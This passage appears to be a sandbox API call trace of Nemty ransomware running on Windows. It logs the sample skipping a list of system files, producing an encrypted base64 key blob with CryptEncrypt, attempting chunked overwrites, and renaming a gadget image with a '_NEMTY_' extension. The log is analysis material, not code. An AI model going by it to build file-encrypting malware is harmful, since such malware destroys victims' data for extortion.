lpString2="ntuser.dat") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="desktop.ini") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="CONFIG.SYS") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="RECYCLER") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="bootmgr") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="programdata") returned 1 [0121.164] lstrcmpiW (lpString1="square_dot.png", lpString2="appdata") returned 1 [0121.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0121.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0121.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0121.165] Sleep (dwMilliseconds=0x5) [0121.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbdffdb0, dwHighDateTime=0x1d561e7)) [0121.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfbdffdb0, dwHighDateTime=0x1d561e7)) [0121.179] GetLastError () returned 0x5 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.179] GetLastError () returned 0x5 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0121.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="GTXVQLFyTRkrTHHdbKlF2Yunj1wRWvfAiffsN1CWeznceP4LVr2dU39GTxpt+xyn\r\ndrk586idksLolx096DsiV1Zk72nB81ymLuaGRNSZ4Cu0hfRfbAPgiE/1UiJf7uyE\r\n5yW/HdUJsGTNkFxjCFNJTba7rwZaRDiBtOXrxC6OQFYy4qQjLgRvDbvT68uxI2JS\r\n5+l/8Nniu0AUTqNje1zfIOfxXiB1K5NNByZ6pqod2Fx6izoBsM3eOKp3YJz0IBeZ\r\nO6+v2VFbM11FY+zecPg5d71LIBgSlQCGVrkl84ffyGHsjIWQfKt+WQGrYLsDFRxc\r\nAwGNnSf1QQuPROkJBS8UAA==\r\n", pcchString=0x653e91c) returned 1 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0121.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.179] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.180] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.286] CloseHandle (hObject=0xffffffff) returned 0 [0121.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0121.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0121.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0121.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png._nemty_kgobjgd_")) returned 0 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0121.287] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2=".") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="..") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="...") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="windows") returned -1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="$RECYCLE.BIN") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="rsa") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="NTDETECT.COM") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="ntldr") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="MSDOS.SYS") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="IO.SYS") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="boot.ini") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="boot.ini") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="ntuser.dat") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="desktop.ini") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="CONFIG.SYS") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="RECYCLER") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="BOOTSECT.BAK") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="bootmgr") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="programdata") returned 1 [0121.287] lstrcmpiW (lpString1="square_h.png", lpString2="appdata") returned 1 [0121.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_h.png", lpUsedDefaultChar=0x0) returned 12 [0121.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_h.png", lpUsedDefaultChar=0x0) returned 12 [0121.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_h.png", lpUsedDefaultChar=0x0) returned 12 [0121.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_h.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_h.png", lpUsedDefaultChar=0x0) returned 12 [0121.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 